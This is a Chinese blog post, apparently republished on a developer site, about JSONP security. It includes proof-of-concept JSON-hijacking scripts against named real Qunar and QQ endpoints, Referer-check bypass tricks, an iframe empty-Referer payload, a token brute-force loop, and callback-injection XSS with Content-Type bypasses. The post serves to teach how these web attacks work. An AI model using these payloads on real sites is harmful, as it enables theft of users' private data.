jsonp安全

栏目: Json · 发布时间: 7年前

内容简介:JSON with Paddig,JSONP基本语法如下:JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据

JSON with Paddig,JSONP基本语法如下:

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。

jsonp 跨域

说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据

{"id" : "1","name" : "phyb0x"}

b.com上要有一个callback输出点

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>

然后a.com进行调用

<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
<script type="text/javascript">
$.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
  alert(getUsers.name);
});
</script>

会根据callback定义的函数功能返回json数据。

说起来真的晦涩难懂,实际上这个流程就是b.com上本身就有一个jsonp格式传输的点,a.com利用callback传参的函数(可以是内置写好的函数也可以是a.com自定义的(用?表示,同上述例子))去返回相应的数据。

一开始我以为跨域是漏洞的点,但是看了乌云案例发现跨域是jsonp的基本功能,漏洞点在于jsonp传输了一些敏感数据,而我们可以通过csrf+jsonp跨域获到这些敏感数据。

JSONP安全问题

json劫持

当某网站使用JSONP传递敏感数据的时候,攻击者可以构造恶意JSONP调用界面,诱导被攻击者访问。

引用wooyun-2013-019969

http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback

构造构造poc跨域获取敏感信息

<script>

function qunarcallback(json){

    alert(JSON.stringify(json))

}

</script>

<script src="http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback"></script>

jsonp安全

有时也会对referer进行限制,可以尝试

http://www.qq.com.attack.com/attack.htm 
http://www.attack.com/attack.htm?qq.com

或者利用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件

<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

还有一种是增加token防御,不过也可以尝试暴力破解

function _Callback(o){
alert(o.items[0].uin);
}
for(i=17008;i<17009;i++){  //暴力循环调用
getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
}

Callback函数可定义

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>

$callback没有进行任何过滤

Content-Type与XSS

Content-Type: application/json 传入

http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>

构成xss,而application / javascript 而这个头在 IE 等浏览器下一样可以解析 HTML 导致 XSS 漏洞。

防御绕过姿势

严格定义 Content-Type: application / json,这种方式会不解析恶意插入的 XSS 代码(直接访问提示文件下载),在 IE6、7 等版本时请求的 URL 文件后面加一个 /x.html 就可以解析 html。

过滤 callback 以及 JSON 数据输出,常规防御手段,也粗在绕过可能。

参考链接:

http://blog.knownsec.com/2015/03/jsonp_security_technic/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Designing for Emotion

Designing for Emotion

Aarron Walter / Happy Cog / 2011-10-18 / USD 18.00

Make your users fall in love with your site via the precepts packed into this brief, charming book by MailChimp user experience design lead Aarron Walter. From classic psychology to case studies, high......一起来看看 《Designing for Emotion》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具